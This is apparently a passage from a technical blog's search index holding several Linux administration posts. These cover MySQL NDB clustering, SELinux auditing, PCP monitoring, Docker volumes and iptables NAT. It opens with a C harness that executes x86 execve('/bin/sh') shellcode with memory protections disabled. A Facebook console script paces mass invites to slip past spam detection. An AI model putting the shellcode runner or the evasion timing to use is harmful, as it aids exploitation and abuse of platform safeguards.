shellcode\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e shellcode[] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eargv)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Shellcode length: %zu bytes\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(shellcode));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Cast the array address to a callable function pointer\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eret)() \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)())shellcode;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Transfer control flow to shellcode\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eret\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"compilation-flags-disabling-modern-mitigations\"\u003eCompilation Flags: Disabling Modern Mitigations\u003c/h3\u003e\n\u003cp\u003eModern compilers enable Stack Canaries and enforce Non-Executable Memory (\u003cstrong\u003eDEP / NX\u003c/strong\u003e) by default. If you attempt to execute data placed in the \u003ccode\u003e.rodata\u003c/code\u003e or \u003ccode\u003e.data\u003c/code\u003e section without special flags, the kernel terminates the process with a \u003ccode\u003eSIGSEGV\u003c/code\u003e / segmentation fault.\u003c/p\u003e","title":"Testing and Validating Shellcode in C via Function Pointers"},{"content":"Traditional MySQL replication architectures (active-passive or source-replica topologies) introduce replication lag and require failover orchestrators (e.g., Orchestrator or ProxySQL) to handle master crashes.\nMySQL NDB Cluster is a shared-nothing, distributed database that provides real-time in-memory performance, 99.999% high availability, and active-active multi-master read/write capabilities across all SQL nodes.\nThis guide details configuring and scaling a multi-master NDB cluster using Oracle MySQL Cluster Manager (MCM).\nCore Architecture \u0026amp; Node Roles An NDB cluster consists of three distinct node types:\nManagement Nodes (ndb_mgmd): Distribute cluster configuration, manage node handshakes, handle arbitrations, and collect cluster logs. Data Nodes (ndbd / ndbmtd): Store table data, indexes, and partitions in memory (or disk-data tablespaces). ndbmtd is the high-performance multi-threaded data engine. SQL / API Nodes (mysqld): Stateless MySQL server daemons that parse SQL queries from application load balancers and interact with data nodes via the NDB storage engine. [ Application Layer / Load Balancer ] │ ┌───────────────────────┴───────────────────────┐ ▼ ▼ [SQL Node 1: 172.31.16.34] [SQL Node 2: 172.31.16.43] (mysqld + ndb_mgmd) (mysqld + ndb_mgmd) │ │ └───────────────────────┬───────────────────────┘ ▼ NDB Storage Engine Network (High-Speed Backplane) │ ┌───────────────────────┴───────────────────────┐ ▼ ▼ [Data Node 1: 172.31.23.137] [Data Node 2: 172.31.24.183] (ndbmtd - Node Group 0) (ndbmtd - Node Group 0) Step 1: Initializing the MCM Agents Install the MySQL Cluster Manager daemon (mcmd) across all participant nodes and start the agent:\n# Executed on all cluster hosts ./bin/mcmd --bootstrap Once running, launch the MCM interactive client (mcm):\n./bin/mcm -a localhost:1862 Step 2: Creating the Site and Registering Packages Group your server hosts into a managed site:\nmcm\u0026gt; create site -h 172.31.23.137,172.31.24.183,172.31.16.34,172.31.16.43 mysite; Register the NDB cluster software package binary path:\nmcm\u0026gt; add package -b /home/ops/mcm/cluster 7_6_8; Step 3: Defining Node Topology and Starting the Cluster Define node assignments mapping physical IPs to processes:\nmcm\u0026gt; create cluster -P 7_6_8 \\ -R ndbd@172.31.23.137,ndbd@172.31.24.183,\\ ndb_mgmd@172.31.16.43,ndb_mgmd@172.31.16.34,\\ mysqld@172.31.16.34,mysqld@172.31.16.43 \\ mycluster; Launch the cluster across all nodes:\nmcm\u0026gt; start cluster mycluster; mcm\u0026gt; show status -r mycluster; Status Verification: +--------+----------+---------------+---------+-----------+ | NodeId | Process | Host | Status | Nodegroup | +--------+----------+---------------+---------+-----------+ | 49 | ndb_mgmd | 172.31.16.43 | running | | | 50 | ndb_mgmd | 172.31.16.34 | running | | | 1 | ndbd | 172.31.23.137 | running | 0 | | 2 | ndbd | 172.31.24.183 | running | 0 | | 51 | mysqld | 172.31.16.34 | running | | | 52 | mysqld | 172.31.16.43 | running | | +--------+----------+---------------+---------+-----------+ Step 4: Synchronizing User Privileges Across All SQL Nodes Because the mysql.user authentication tables traditionally run under standard storage engines rather than NDB, user privileges created on SQL Node 1 do not automatically mirror to SQL Node 2 by default.\nEnable distributed privileges across the cluster by loading the NDB privilege distribution script on one SQL node:\nmysql -u root -p -h 127.0.0.1 \u0026lt; cluster/share/ndb_dist_priv.sql User grants (CREATE USER, GRANT) are now automatically distributed and kept consistent across all SQL nodes in real-time.\nStep 5: Online Upgrades to Multi-Threaded Engine (ndbmtd) To maximize CPU core utilization on multi-core data servers, convert the single-threaded ndbd engine to multi-threaded ndbmtd on the fly:\nmcm\u0026gt; change process ndbd=ndbmtd mycluster; MCM performs a rolling rolling restart across the cluster without interrupting client read/write transactions.\n","permalink":"/run-mysql-cluster-multi-masters-high-availability/","summary":"\u003cp\u003eTraditional MySQL replication architectures (active-passive or source-replica topologies) introduce replication lag and require failover orchestrators (e.g., Orchestrator or ProxySQL) to handle master crashes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMySQL NDB Cluster\u003c/strong\u003e is a shared-nothing, distributed database that provides real-time in-memory performance, 99.999% high availability, and \u003cstrong\u003eactive-active multi-master\u003c/strong\u003e read/write capabilities across all SQL nodes.\u003c/p\u003e\n\u003cp\u003eThis guide details configuring and scaling a multi-master NDB cluster using \u003cstrong\u003eOracle MySQL Cluster Manager (MCM)\u003c/strong\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"core-architecture--node-roles\"\u003eCore Architecture \u0026amp; Node Roles\u003c/h3\u003e\n\u003cp\u003eAn NDB cluster consists of three distinct node types:\u003c/p\u003e","title":"Deploying High-Availability Multi-Master MySQL NDB Clusters with MySQL Cluster Manager"},{"content":"When SELinux operates in enforcing mode, policy violations are intercepted and logged as Access Vector Cache (AVC) denial records in the Linux audit subsystem (/var/log/audit/audit.log).\nDiagnosing blocked operations efficiently requires mastering ausearch and establishing structured log routing.\n1. Querying AVC Denials with ausearch The ausearch utility parses the binary-formatted audit logs to isolate specific event types and translate raw numeric IDs into human-readable strings.\nFind All AVC Denials Generated Today ausearch -m avc -i -ts today -m avc: Filters events specifically matching the AVC (Access Vector Cache) audit record type. -i: Interprets numeric identifiers into human-readable text (resolves UIDs to usernames, GIDs to group names, and syscall numbers to system call names). -ts today: Limits the search timeframe to the current calendar day. Additional Useful Filters # Query denials by executable name ausearch -m avc -c httpd -ts recent # Query denials by process ID (PID) ausearch -m avc -p 1234 # Check for AVC denials alongside system audit messages ausearch -m avc,user_avc,selinux_err -i 2. Converting AVC Denials into Remediation Rules To examine why an operation was blocked and generate human-readable policy recommendations:\n# Analyze denial reasons with audit2why ausearch -m avc -ts today | audit2why # Generate a custom Type Enforcement policy module ausearch -m avc -ts today -c nginx | audit2allow -M my_custom_nginx_policy 3. Centralizing Audit and Syslog Records with Rsyslog In distributed enterprise networks, audit logs should be streamed to a hardened central syslog server for real-time monitoring and SIEM ingestion.\nCentral Log Server Configuration (/etc/rsyslog.conf) Configure the central rsyslog server to accept incoming TCP traffic on port 514 and dynamically organize incoming logs by hostname:\n# Enable TCP Syslog Reception $ModLoad imtcp $InputTCPServerRun 514 # Define Dynamic Per-Host Log File Templates $template DynamicFile,\u0026#34;/var/log/loghost/%HOSTNAME%/%syslogfacility-text%.log\u0026#34; # Route all incoming facilities to the dynamic template *.* -?DynamicFile Restart rsyslog to activate the listener:\nsudo systemctl restart rsyslog Forwarding Auditd Events via audisp-syslog On client nodes, enable the auditd syslog plugin (audisp-syslog or audisp-plugins) in /etc/audit/plugins.d/syslog.conf:\nactive = yes direction = out path = /sbin/audisp-syslog type = builtin args = LOG_INFO format = string Restart auditd to stream AVC denial records directly to your centralized logging infrastructure.\n","permalink":"/selinux/","summary":"\u003cp\u003eWhen SELinux operates in enforcing mode, policy violations are intercepted and logged as Access Vector Cache (AVC) denial records in the Linux audit subsystem (\u003ccode\u003e/var/log/audit/audit.log\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eDiagnosing blocked operations efficiently requires mastering \u003ccode\u003eausearch\u003c/code\u003e and establishing structured log routing.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-querying-avc-denials-with-ausearch\"\u003e1. Querying AVC Denials with \u003ccode\u003eausearch\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003eausearch\u003c/code\u003e utility parses the binary-formatted audit logs to isolate specific event types and translate raw numeric IDs into human-readable strings.\u003c/p\u003e\n\u003ch3 id=\"find-all-avc-denials-generated-today\"\u003eFind All AVC Denials Generated Today\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eausearch -m avc -i -ts today\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e-m avc\u003c/code\u003e: Filters events specifically matching the \u003ccode\u003eAVC\u003c/code\u003e (Access Vector Cache) audit record type.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-i\u003c/code\u003e: Interprets numeric identifiers into human-readable text (resolves UIDs to usernames, GIDs to group names, and syscall numbers to system call names).\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-ts today\u003c/code\u003e: Limits the search timeframe to the current calendar day.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"additional-useful-filters\"\u003eAdditional Useful Filters\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Query denials by executable name\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eausearch -m avc -c httpd -ts recent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Query denials by process ID (PID)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eausearch -m avc -p \u003cspan style=\"color:#ae81ff\"\u003e1234\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Check for AVC denials alongside system audit messages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eausearch -m avc,user_avc,selinux_err -i\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"2-converting-avc-denials-into-remediation-rules\"\u003e2. Converting AVC Denials into Remediation Rules\u003c/h2\u003e\n\u003cp\u003eTo examine why an operation was blocked and generate human-readable policy recommendations:\u003c/p\u003e","title":"Investigating SELinux AVC Denials with ausearch and Centralized Rsyslog"},{"content":"Performance Co-Pilot (PCP) is an enterprise-grade system performance analysis and telemetry framework. Developed to monitor large distributed environments, PCP gathers live and historical metrics covering kernel internals, hardware subsystems, file systems, disk I/O, memory pressure, and networking.\n1. Installation and Daemon Setup On Red Hat Enterprise Linux, CentOS, or Fedora, install the core PCP packages:\nsudo yum install -y pcp pcp-webjs Performance Metrics Collector Daemon (pmcd) pmcd acts as the primary coordinator, querying Performance Metric Domain Agents (PMDAs) for subsystem statistics:\nsudo systemctl enable --now pmcd sudo systemctl status pmcd Verify that default domain agents (proc, xfs, linux kernel) are running:\nCGroup: /system.slice/pmcd.service ├─4862 /usr/libexec/pcp/bin/pmcd ├─4865 /var/lib/pcp/pmdas/root/pmdaroot ├─4866 /var/lib/pcp/pmdas/proc/pmdaproc -d 3 ├─4867 /var/lib/pcp/pmdas/xfs/pmdaxfs -d 11 └─4868 /var/lib/pcp/pmdas/linux/pmdalinux 2. Real-Time CLI Analysis Tools PCP includes powerful command-line monitoring utilities:\npmatop: Comprehensive Resource Overview pmatop provides an interactive real-time dashboard of CPU, memory, LVM, disk I/O, swap, network interfaces, and active processes:\npmatop Figure 1: pmatop interactive performance dashboard.\npmstat: Compact System Metrics pmstat outputs periodic summaries of load average, memory paging, swap utilization, context switches, and CPU execution modes:\n# Sample every 1 second, for 10 iterations pmstat -t 1sec -s 10 loadavg memory swap io system cpu 1 min swpd free buff cache pi po bi bo in cs us sy id 0.08 2720 119224 0 257332 0 0 1 0 139 129 1 1 98 0.07 2716 118768 0 257404 0 0 32 6 590 912 6 8 81 pminfo and pmval: Metric Exploration List available kernel metrics using pminfo:\npminfo | grep kernel.all.cpu Extract live values for specific counters using pmval:\n# Monitor inbound network bytes across interfaces pmval -s 5 network.interface.in.bytes 3. Historical Telemetry with pmlogger To record historical time-series archives for retrospectives and capacity planning, start pmlogger:\nsudo systemctl enable --now pmlogger Archives are stored in /var/log/pcp/pmlogger/\u0026lt;hostname\u0026gt;/. You can query historical logs retrospectively with pmval using -a and specific time boundaries (-S and -T):\n# Replay kernel load averages during a historical window pmval -a /var/log/pcp/pmlogger/localhost/20160723.07.17 \\ -S \u0026#39;@ Sat Jul 23 07:20:00 2016\u0026#39; \\ -T \u0026#39;@ Sat Jul 23 07:35:00 2016\u0026#39; \\ kernel.all.load 4. Visualizing Metrics via Vector Web UI PCP provides a high-performance web API daemon (pmwebd) capable of serving visual dashboards:\nsudo systemctl enable --now pmwebd Confirm that pmwebd is listening on port 44323:\nss -tulpn | grep 44323 Navigate to http://\u0026lt;server-ip\u0026gt;:44323/vector/ in your browser. The Vector interface delivers real-time SVG graphs of disk throughput, IOPS latency, memory allocation, and socket connections:\nFigure 2: Real-time telemetry visualized through PCP Vector Web UI.\n","permalink":"/linux-performance-co-pilot-webui/","summary":"\u003cp\u003e\u003cstrong\u003ePerformance Co-Pilot (PCP)\u003c/strong\u003e is an enterprise-grade system performance analysis and telemetry framework. Developed to monitor large distributed environments, PCP gathers live and historical metrics covering kernel internals, hardware subsystems, file systems, disk I/O, memory pressure, and networking.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-installation-and-daemon-setup\"\u003e1. Installation and Daemon Setup\u003c/h2\u003e\n\u003cp\u003eOn Red Hat Enterprise Linux, CentOS, or Fedora, install the core PCP packages:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo yum install -y pcp pcp-webjs\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"performance-metrics-collector-daemon-pmcd\"\u003ePerformance Metrics Collector Daemon (\u003ccode\u003epmcd\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003epmcd\u003c/code\u003e acts as the primary coordinator, querying Performance Metric Domain Agents (PMDAs) for subsystem statistics:\u003c/p\u003e","title":"Monitoring Linux Infrastructure with Performance Co-Pilot (PCP) and Web UI"},{"content":"When marketing campaigns or organic posts achieve high engagement, many users interact with the content (likes, reactions) without following or liking the parent page.\nFacebook provides a manual interface to invite users who reacted to a post to like the page. However, manually clicking hundreds of individual invite buttons is tedious.\nFigure 1: Modal window listing users who reacted to the post.\nBrowser Console Automation Script By executing a lightweight script in the browser\u0026rsquo;s Developer Tools Console, we can automate scrolling through pagination (See More) and dispatching invite clicks with controlled delays to respect client-side rate limits.\nInstructions Open Facebook and click on the reactions count of your post to open the modal dialog. Press F12 (or Ctrl + Shift + I / Cmd + Option + I) to open Developer Tools and navigate to the Console tab. Paste and run the following script: /** * Automated Post Engager Inviter * Author: Ahmad Mahfouz (_N1X_) */ function scrollAndInvite() { let inviteButtons = []; let seeMoreButtons = []; // Identify clickable buttons inside the active dialog const elements = document.querySelectorAll(\u0026#39;div[role=\u0026#34;dialog\u0026#34;] a, div[role=\u0026#34;dialog\u0026#34;] div[role=\u0026#34;button\u0026#34;]\u0026#39;); elements.forEach(el =\u0026gt; { const text = el.innerText.trim(); if (text === \u0026#39;Invite\u0026#39; || text === \u0026#39;دعوة\u0026#39;) { inviteButtons.push(el); } else if (text === \u0026#39;See More\u0026#39; || text === \u0026#39;عرض المزيد\u0026#39;) { seeMoreButtons.push(el); } }); // Expand pagination if available if (seeMoreButtons.length \u0026gt; 0) { console.log(\u0026#39;[*] Expanding reaction list...\u0026#39;); seeMoreButtons.forEach(btn =\u0026gt; btn.click()); } // Dispatch invites with randomized delay to avoid rate limiting let index = 0; function dispatchInvite() { if (index \u0026lt; inviteButtons.length) { inviteButtons[index].click(); console.log(`[+] Sent invite ${index + 1} of ${inviteButtons.length}`); index++; setTimeout(dispatchInvite, 800 + Math.random() * 500); } else { console.log(\u0026#39;[*] Batch complete. Checking for additional engagers...\u0026#39;); setTimeout(scrollAndInvite, 2000); } } if (inviteButtons.length \u0026gt; 0) { dispatchInvite(); } else { console.log(\u0026#39;[+] All visible engagers have been invited.\u0026#39;); } } // Start automation scrollAndInvite(); Execution Results The script will iteratively expand the list of reaction profiles and trigger invite requests in sequence:\nFigure 2: Successfully dispatching batch invitations directly within the browser.\n[!TIP] Include a delay of 800–1500 milliseconds between clicks to prevent automated spam detection mechanisms from temporarily throttling your profile actions.\n","permalink":"/facebook-mass-invite-like-script/","summary":"\u003cp\u003eWhen marketing campaigns or organic posts achieve high engagement, many users interact with the content (likes, reactions) without following or liking the parent page.\u003c/p\u003e\n\u003cp\u003eFacebook provides a manual interface to invite users who reacted to a post to like the page. However, manually clicking hundreds of individual invite buttons is tedious.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Opening post reactions modal\" loading=\"lazy\" src=\"/uploads/2016/07/Screen-Shot-2016-07-21-at-1.30.18-PM.png\"\u003e\n\u003cem\u003eFigure 1: Modal window listing users who reacted to the post.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"browser-console-automation-script\"\u003eBrowser Console Automation Script\u003c/h2\u003e\n\u003cp\u003eBy executing a lightweight script in the browser\u0026rsquo;s Developer Tools Console, we can automate scrolling through pagination (\u003ccode\u003eSee More\u003c/code\u003e) and dispatching invite clicks with controlled delays to respect client-side rate limits.\u003c/p\u003e","title":"Automating Social Media Post Reactions and Page Invites with JavaScript"},{"content":"Running stateful services like MySQL inside Docker containers requires mapping data volumes to host storage. On enterprise Linux distributions running SELinux in enforcing mode (such as Red Hat Enterprise Linux, CentOS, or Fedora), containerized processes are isolated using Type Enforcement and Multi-Category Security (MCS).\nIf the host directory lacks the appropriate SELinux context and file permissions, the MySQL daemon will encounter Permission denied errors during database initialization.\n1. Pull the Official MySQL Image Retrieve the official MySQL container image from Docker Hub:\ndocker pull mysql:latest The MySQL container image supports several useful initialization environment variables:\nMYSQL_ROOT_PASSWORD: Sets the password for the root administrative user. MYSQL_DATABASE: Automatically creates a default application database upon container startup. MYSQL_USER and MYSQL_PASSWORD: Creates a dedicated non-root application user with privileges over the specified database. 2. Prepare the Host Storage Directory Create a persistent directory on the host filesystem to store the MySQL database files:\nsudo mkdir -p /var/mysql_data_store Configure File Ownership Inside the container, MySQL runs as a dedicated system user. Depending on the base image:\nOn Debian-based MySQL images, the default mysql UID/GID is typically 999:999. On RHEL/CentOS systems, the traditional mysql UID/GID is 27:27. Set numeric ownership matching the container\u0026rsquo;s MySQL daemon:\nsudo chown -R 27:27 /var/mysql_data_store sudo chmod 750 /var/mysql_data_store 3. Configure SELinux File Contexts Containers run within restricted SELinux domains (such as container_t or svirt_sandbox_file_t). The host directory must allow container processes read and write access.\nMethod A: Manual Context Assignment (chcon) You can set the context on the storage directory manually:\nsudo chcon -Rt svirt_sandbox_file_t /var/mysql_data_store (Note: On modern container runtimes with container-selinux, container_file_t is the standard type).\n# To ensure context persists across system relabeling: sudo semanage fcontext -a -t container_file_t \u0026#34;/var/mysql_data_store(/.*)?\u0026#34; sudo restorecon -Rv /var/mysql_data_store Method B: Docker :z or :Z Volume Flags (Recommended) Docker provides built-in SELinux relabeling flags that automatically configure the context on mount:\n:z: Shares the volume across multiple containers (configures shared category labels). :Z: Assigns a private, unshared label exclusive to this container instance. 4. Launch the MySQL Container Launch the container with volume mapping and environment variables:\ndocker run -d \\ --name mysql-ready \\ -v /var/mysql_data_store:/var/lib/mysql:z \\ -e MYSQL_ROOT_PASSWORD=\u0026#34;MySecureRootPassword123!\u0026#34; \\ -e MYSQL_DATABASE=\u0026#34;unixawy\u0026#34; \\ -p 3306:3306 \\ mysql:latest 5. Verify Connectivity and Persistence Inspect the container\u0026rsquo;s assigned IP address or connect directly via localhost:\n# Retrieve internal container IP docker inspect -f \u0026#39;{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}\u0026#39; mysql-ready # Test connection via CLI client mysql -h 127.0.0.1 -u root -p\u0026#34;MySecureRootPassword123!\u0026#34; -e \u0026#34;SHOW DATABASES;\u0026#34; Inspect the host storage directory to confirm that InnoDB tablespaces, logs, and system schemas are being written directly to the host filesystem:\nsudo ls -lah /var/mysql_data_store Even if the container is destroyed via docker rm -f mysql-ready, launching a new container mounted to /var/mysql_data_store will retain all tables and data intact.\n","permalink":"/docker-persistent-storage-mysql-server-selinux/","summary":"\u003cp\u003eRunning stateful services like MySQL inside Docker containers requires mapping data volumes to host storage. On enterprise Linux distributions running \u003cstrong\u003eSELinux\u003c/strong\u003e in enforcing mode (such as Red Hat Enterprise Linux, CentOS, or Fedora), containerized processes are isolated using Type Enforcement and Multi-Category Security (MCS).\u003c/p\u003e\n\u003cp\u003eIf the host directory lacks the appropriate SELinux context and file permissions, the MySQL daemon will encounter \u003ccode\u003ePermission denied\u003c/code\u003e errors during database initialization.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-pull-the-official-mysql-image\"\u003e1. Pull the Official MySQL Image\u003c/h2\u003e\n\u003cp\u003eRetrieve the official MySQL container image from Docker Hub:\u003c/p\u003e","title":"Docker Persistent Storage for MySQL with SELinux Enforcement"},{"content":"When deploying jump hosts, transparent proxies, or network bridges across multi-homed Linux systems, standard routing tables are often insufficient. Using the Linux Netfilter framework via iptables, you can manipulate packets at both ingress (PREROUTING) and egress (POSTROUTING).\nScenario 1: Basic Traffic Forwarding via DNAT and MASQUERADE In this setup, our Linux server acts as an intermediary bridge forwarding traffic from a client to a remote backend service:\nClient Source IP: 198.51.100.12 Intermediary Gateway (Our Server): 203.0.113.30 Final Backend Destination: 192.0.2.84 Client [198.51.100.12] ──► Gateway [203.0.113.30] ──► Backend [192.0.2.84] Step 1: Destination NAT in PREROUTING Intercept incoming packets destined for our gateway and rewrite the destination IP before routing lookup occurs:\nsudo iptables -t nat -A PREROUTING -s 198.51.100.12 -j DNAT --to-destination 192.0.2.84 Step 2: Source NAT / MASQUERADE in POSTROUTING To ensure the backend server (192.0.2.84) sends return replies back to our gateway rather than attempting to route directly to the client, rewrite the source address to the gateway\u0026rsquo;s outbound interface IP:\nsudo iptables -t nat -A POSTROUTING -d 192.0.2.84 -j MASQUERADE Scenario 2: Policy Routing and SNAT on Multi-Homed Servers If your server has multiple physical or virtual network interfaces and you must guarantee outbound traffic exits using a specific IP:\neth0: 203.0.113.30 (Primary Management) eth1: 203.0.113.45 (Dedicated Egress IP) eth2: 203.0.113.90 (Private Storage Network) Enforcing Outbound Egress IP via SNAT To force all forwarded traffic destined for 192.0.2.84 to exit with source IP 203.0.113.45:\nsudo iptables -t nat -I POSTROUTING -d 192.0.2.84 -j SNAT --to-source 203.0.113.45 By placing this rule in POSTROUTING, the kernel alters the packet source header at the final stage before transmission onto the wire.\nEnabling Kernel Packet Forwarding By default, the Linux kernel drops packets not destined for local sockets. You must enable IP forwarding:\n# Apply dynamically sudo sysctl -w net.ipv4.ip_forward=1 # Persist across reboots in /etc/sysctl.d/99-ipforward.conf: echo \u0026#34;net.ipv4.ip_forward = 1\u0026#34; | sudo tee /etc/sysctl.d/99-ipforward.conf Verify that the FORWARD filter chain permits the traffic:\nsudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -d 192.0.2.84 -j ACCEPT ","permalink":"/iptables-prerouting-postrouting/","summary":"\u003cp\u003eWhen deploying jump hosts, transparent proxies, or network bridges across multi-homed Linux systems, standard routing tables are often insufficient. Using the Linux Netfilter framework via \u003ccode\u003eiptables\u003c/code\u003e, you can manipulate packets at both ingress (\u003cstrong\u003ePREROUTING\u003c/strong\u003e) and egress (\u003cstrong\u003ePOSTROUTING\u003c/strong\u003e).\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"scenario-1-basic-traffic-forwarding-via-dnat-and-masquerade\"\u003eScenario 1: Basic Traffic Forwarding via DNAT and MASQUERADE\u003c/h3\u003e\n\u003cp\u003eIn this setup, our Linux server acts as an intermediary bridge forwarding traffic from a client to a remote backend service:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eClient Source IP:\u003c/strong\u003e \u003ccode\u003e198.51.100.12\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIntermediary Gateway (Our Server):\u003c/strong\u003e \u003ccode\u003e203.0.113.30\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFinal Backend Destination:\u003c/strong\u003e \u003ccode\u003e192.0.2.84\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" 